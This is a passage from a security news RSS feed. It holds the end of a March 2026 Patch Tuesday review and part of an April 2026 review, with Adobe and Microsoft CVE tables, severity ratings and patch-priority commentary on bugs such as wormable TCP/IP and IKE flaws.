  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for April 2026</strong></p><p class="">For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-43.html" target="_blank">APSB26-43</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>1</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>Yes</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-44.html" target="_blank">APSB26-44</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-32.html" target="_blank">APSB26-32</a></td>
    <td>Adobe InDesign</td>
    <td>9</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-33.html" target="_blank">APSB26-33</a></td>
    <td>Adobe InCopy</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/framemaker/apsb26-36.html" target="_blank">APSB26-36</a></td>
    <td>Adobe FrameMaker</td>
    <td>11</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-37.html" target="_blank">APSB26-37</a></td>
    <td>Adobe Connect</td>
    <td>9</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-38.html" target="_blank">APSB26-38</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-39.html" target="_blank">APSB26-39</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/photoshop/apsb26-40.html" target="_blank">APSB26-40</a></td>
    <td>Adobe Photoshop</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-42.html" target="_blank">APSB26-42</a></td>
    <td>Adobe Illustrator</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-screens/apsb26-34.html" target="_blank">APSB26-34</a></td>
    <td>Adobe Experience Manager Screens</td>
    <td>9</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-41.html" target="_blank">APSB26-41</a></td>
    <td>Adobe DNG SDK</td>
    <td>3</td>
    <td>Important</td>
    <td>5.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
</table>



  
  









  <p class="">Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed. </p><p class="">Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for April 2026</strong></p><p class="">This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.</p><p class="">By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201" target="_blank"><strong>CVE-2026-32201</strong></a><strong> - Microsoft SharePoint Server Spoofing Vulnerability<br></strong>Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825" target="_blank"><strong>CVE-2026-33825</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>This bug is listed as publicly known, and this time, we know exactly <a href="https://deadeclipse666.blogspot.com/2026/04/public-disclosure.html" target="_blank">where</a> it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827" target="_blank"><strong>CVE-2026-33827</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824" target="_blank"><strong>CVE-2026-33824</strong></a><strong> - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability<br></strong>Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.</p><p class="">Here’s the full list of CVEs released by Microsoft for April 2026:</p>





















  
  




  


  
    




<title>April 2026 Patch Tuesday</title>



<table>
<thead><tr>
  <th>CVE</th>
  <th>Title</th>
  <th>Severity</th>
  <th>CVSS</th>
  <th>Public</th>
  <th>Exploited</th>
  <th>Type</th>
</tr></thead>
<tbody>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32201">CVE-2026-32201</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>Yes</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5281">CVE-2026-5281 *</a></td>
  <td>Chromium: CVE-2026-5281 Use after free in Dawn</td>
  <td>High</td>
  <td>N/A</td>
  <td>No</td>
  <td>Yes</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33825">CVE-2026-33825</a></td>
  <td>Microsoft Defender Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>Yes</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23666">CVE-2026-23666</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Critical</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32190">CVE-2026-32190</a></td>
  <td>Microsoft Office Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33114">CVE-2026-33114</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33115">CVE-2026-33115</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32157">CVE-2026-32157</a></td>
  <td>Remote Desktop Client Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33826">CVE-2026-33826</a></td>
  <td>Windows Active Directory Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
